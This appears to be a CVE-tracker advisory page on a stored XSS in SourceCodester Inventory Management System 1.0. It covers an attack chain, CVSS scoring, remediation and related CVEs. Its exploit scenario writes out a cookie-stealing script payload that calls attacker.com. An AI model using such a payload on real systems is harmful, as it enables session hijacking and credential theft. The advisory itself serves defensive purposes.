Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with low-privilege account
-
DeliverySubmit crafted Product_Name XSS payload via /api/products_handler.php
-
ExploitPayload persisted in application database
-
ExecutionVictim user browses product listing page
-
PersistInjected script executes in victim browser
-
ImpactSession cookie or credentials exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) the attacker must hold a valid authenticated account on the target system with sufficient privilege to create or modify product entries - PR:L per the CVSS 4.0 vector; (2) a victim user must subsequently navigate to a page or API response that renders the injected Product_Name value - UI:P per the vector; (3) the /api/products_handler.php endpoint must be accessible and the Product Management Module must be operational. Fully automated, unauthenticated exploitation is not possible for this attack class. Exploitation is further constrained by the application's typical deployment profile: SourceCodester projects are generally hosted on intranets or low-traffic internal servers rather than high-value internet-facing systems, limiting opportunistic attacker reach. Impact is bounded to the browser context of users on the same application - no server-side code execution or privilege escalation to the underlying OS is implied. |
| Impact | The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the genuine constraints on this vulnerability: PR:L requires a valid authenticated account to introduce the payload, and UI:P requires a separate victim user to passively trigger execution by viewing the affected product page. The E:P environmental modifier acknowledges the publicly available exploit code, which meaningfully lowers the skill threshold for abuse. No CISA KEV listing exists, and EPSS data is absent from the provided intelligence, limiting probabilistic modeling; however, stored XSS with public POC in a system used by small teams warrants prompt attention - even a mid-sized municipal IT team in malbork that deployed this application internally would face realistic session-hijacking risk from a malicious insider or compromised account. The primary concern is the absence of any vendor patch or security advisory, meaning defenders cannot rely on a coordinated upstream fix timeline and must apply compensating controls manually. |
| Exploit ScenarioDerived | An authenticated attacker with a standard user account creates or edits a product entry, supplying a JavaScript payload such as <script>fetch('https://attacker.com/?c='+document.cookie)</script> as the Product_Name value. When an administrator or other staff member later browses the product listing, the stored payload executes in their browser, transmitting their session cookie to the attacker's server and enabling session hijacking. A public proof-of-concept on GitHub confirms this technique is reproducible without advanced exploitation skills. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 14, 2026
Stored cross-site scripting in SourceCodester Inventory Management System 1.0 allows an authenticated remote attacker to inject malicious scripts via the Product_Name parameter handled by /api/products_handler.php in the Product Management Module. When other authenticated users subsequently view affected product listings, the injected payload executes in their browsers, enabling session hijacking, credential theft, or UI redressing. A public proof-of-concept exploit is available on GitHub, lowering the bar for exploitation by non-expert attackers.
RemediationAI
No vendor-released patch has been identified at time of analysis. Because the source code is freely available from sourcecodester.com, operators should apply a manual fix by HTML-encoding special characters (<, >, ", ', &) on both input validation and output rendering for the Product_Name field and all other user-supplied parameters in /api/products_handler.php and related handlers. Implementing a Content Security Policy (CSP) header with a restrictive script-src directive will limit the exploitability of any remaining XSS surface, though this does not address the root cause. Role-based access controls should restrict who can create or edit product entries, reducing the set of accounts capable of introducing payloads. If the application is internet-facing, deploying a WAF with XSS filtering rules provides an additional detection and blocking layer, at the cost of potential false positives on legitimate product names containing special characters. The public exploit is documented at https://gist.github.com/fhewm98/95f2ce47c88e1f08151397c0320d2752 and can be used for validation testing after applying fixes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SourceCodester Inventory Management System 1.0 is a PHP-based web application (CPE: cpe:2.3:a:sourcecodester:inventory_management_system:*:*:*:*:*:*:*:*) distributed as a free source-code project from sourcecodester.com, typically deployed on LAMP stacks. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): the Product Management Module accepts unsanitized user input for the Product_Name field via /api/products_handler.php, stores it without HTML encoding, and subsequently renders it unescaped in product listing views. This allows arbitrary JavaScript or HTML to be injected at write-time and executed in the browser security context of any user viewing the affected content.
Know when Inventory Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Stored XSS with scope change to victim browsers; PR:L for required attacker account; UI:R for victim to view injected content; no availability impact.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was determined in SourceCodester Inventory Management System 1.0. Affected by this issue is some unknown functionality of the file /api/products_handler.php of the component Product Management Module. Executing a manipulation of the argument Product_Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Inventory Management System
View allA vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr
A vulnerability classified as critical was found in SourceCodester Inventory Management System 1.0. Rated critical sever
A vulnerability, which was classified as critical, has been found in SourceCodester Inventory Management System 1.0.php.
A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic
A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti
Sourcecodester Free and Open Source inventory management system v1.0 is vulnerable to Incorrect Access Control. Rated hi
A vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0. Rated high severity (C
A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated hi
A vulnerability classified as critical has been found in SourceCodester Inventory Management System 1.0. Rated critical
A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti
A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr
A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic
EUVD-2026-77327
GHSA-2q44-58x7-rjwq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB